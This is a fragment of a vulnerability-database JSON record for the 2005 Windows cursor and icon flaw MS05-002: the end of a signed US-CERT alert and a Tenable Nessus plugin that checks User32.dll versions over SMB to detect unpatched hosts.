(GNU/Linux)\r\n\r\niQEVAwUBQeWT/xhoSezw4YfQAQJ4Mwf8DW38XyncYoByjMNLaDo5thBVElAbQpnP\r\ndCEmwTN65U+g604L1Zn+p0EJ2FSFRkF1Pbj0SZtin6PrjsTMsVP3KyaB2ogANpRl\r\njjlXsK3BZcI+KA5MEz+tG6rRcN8leaKUkep94k2oBQvmS5EJ7qlxYEt6aNZCyws5\r\nLNwGoGJFdh+1GS7V+SiI8bctJCkCyxZnbMqQDeacAmt8/wD7RcMUSvk8Cfk1L9hd\r\nYw4cFlweRqjqHyj52Q01F7FAtvdRW+iG87EFMi5J6+HKkqR2vubExVI42uGCt64B\r\n8SdG304c7pTIt2QSYFfqZWpMBkqWsqLI8mjPE/zU1ffnFM3DTAeExg==\r\n=H24T\r\n-----END PGP SIGNATURE-----", "edition": 1, "modified": "2005-01-13T00:00:00", "published": "2005-01-13T00:00:00", "id": "SECURITYVULNS:DOC:7557", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:7557", "title": "US-CERT Technical Cyber Security Alert TA05-012A -- Multiple Vulnerabilities in Microsoft Windows Icon and Cursor Processing", "type": "securityvulns", "cvss": {"score": 5.1, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "nessus": [{"lastseen": "2021-01-01T05:43:22", "description": "The remote host contains a version of the Windows kernel that is\naffected by a security flaw in the way that cursors and icons are\nhandled. An attacker may be able to execute arbitrary code on the\nremote host by constructing a malicious web page and entice a victim to\nvisit this web page. An attacker may send a malicious email to the\nvictim to exploit this flaw too.", "edition": 26, "published": "2005-01-11T00:00:00", "title": "MS05-002: Cursor and Icon Format Handling Code Execution (891711)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2004-1305", "CVE-2004-1049", "CVE-2005-0416"], "modified": "2021-01-02T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS05-002.NASL", "href": "https://www.tenable.com/plugins/nessus/16124", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(16124);\n script_version(\"1.48\");\n script_cvs_date(\"Date: 2018/11/15 20:50:29\");\n\n script_cve_id(\"CVE-2004-1049\", \"CVE-2004-1305\", \"CVE-2005-0416\");\n script_bugtraq_id(12095, 12233);\n script_xref(name:\"MSFT\", value:\"MS05-002\");\n script_xref(name:\"CERT\", value:\"625856\");\n script_xref(name:\"CERT\", value:\"697136\");\n script_xref(name:\"EDB-ID\", value:\"721\");\n script_xref(name:\"MSKB\", value:\"891711\");\n\n script_name(english:\"MS05-002: Cursor and Icon Format Handling Code Execution (891711)\");\n script_summary(english:\"Checks version of User32.dll\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through the web or\nemail client.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of the Windows kernel that is\naffected by a security flaw in the way that cursors and icons are\nhandled. An attacker may be able to execute arbitrary code on the\nremote host by constructing a malicious web page and entice a victim to\nvisit this web page. An attacker may send a malicious email to the\nvictim to exploit this flaw too.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2005/ms05-002\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released a set of patches for Windows NT, 2000, XP and\n2003.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2004/12/20\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2005/01/11\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2005/01/11\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(english:\"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS05-002';\nkb = '891711';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(nt:'6', win2k:'3,4', xp:'1', win2003:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.2\", sp:0, file:\"User32.dll\", version:\"5.2.3790.245\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:1, file:\"User32.dll\", version:\"5.1.2600.1617\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"User32.dll\", version:\"5.0.2195.7017\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"User32.dll\", version:\"4.0.1381.7342\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"4.0\", file:\"User32.dll\", version:\"4.0.1381.33630\", min_version:\"4.0.1381.33000\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}